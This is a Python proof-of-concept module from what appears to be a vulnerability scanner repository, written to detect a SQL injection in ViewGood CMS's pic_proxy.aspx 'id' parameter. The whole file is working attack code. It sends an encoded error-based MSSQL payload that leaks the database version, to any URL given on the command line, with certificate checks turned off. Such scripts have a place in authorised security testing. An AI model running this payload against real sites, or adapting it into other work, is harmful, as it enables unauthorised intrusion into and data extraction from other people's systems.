/POCScan/cms/viewgood/viewgood_pic_proxy_sqli.py

https://github.com/Cl0udG0d/SZhe_Scan · Python · 40 lines · 28 code · 4 blank · 8 comment · 4 complexity · 7a8368efe1e16c45f5d5901f531b3321 MD5 · raw file

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. '''
  4. name: 远古 pic_proxy.aspx SQL注入
  5. referer: unknown
  6. author: Lucifer
  7. description: 文件 pic_proxy.aspx中,参数id存在SQL注入
  8. '''
  9. import sys
  10. import requests
  11. import warnings
  12. from termcolor import cprint
  13. class viewgood_pic_proxy_sqli_BaseVerify:
  14. def __init__(self, url):
  15. self.url = url
  16. def run(self):
  17. headers = {
  18. "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
  19. }
  20. payload = "/viewgood/webmedia/portal/pic_proxy.aspx?id=1%20and%201%3Dconvert%28int%2C%20CHAR%28116%29%20%2b%20CHAR%28121%29%20%2b%20CHAR%28113%29%2b@@version%2b%20CHAR%28116%29%20%2b%20CHAR%28121%29%20%2b%20CHAR%28113%29%29--&type=2"
  21. vulnurl = self.url + payload
  22. try:
  23. req = requests.get(vulnurl, headers=headers, timeout=10, verify=False)
  24. if r"tyqMicrosoft" in req.text:
  25. cprint("[+]存在远古 pic_proxy.aspx SQL注入漏洞...(高危)\tpayload: "+vulnurl, "red")
  26. return True, vulnurl, "远古 pic_proxy.aspx SQL注入", str(payload), req.text
  27. else:
  28. cprint("[-]不存在viewgood_pic_proxy_sqli漏洞", "white", "on_grey")
  29. return False, None, None, None, None
  30. except:
  31. cprint("[-] "+__file__+"====>可能不存在漏洞", "cyan")
  32. return False, None, None, None, None
  33. if __name__ == "__main__":
  34. warnings.filterwarnings("ignore")
  35. testVuln = viewgood_pic_proxy_sqli_BaseVerify(sys.argv[1])
  36. testVuln.run()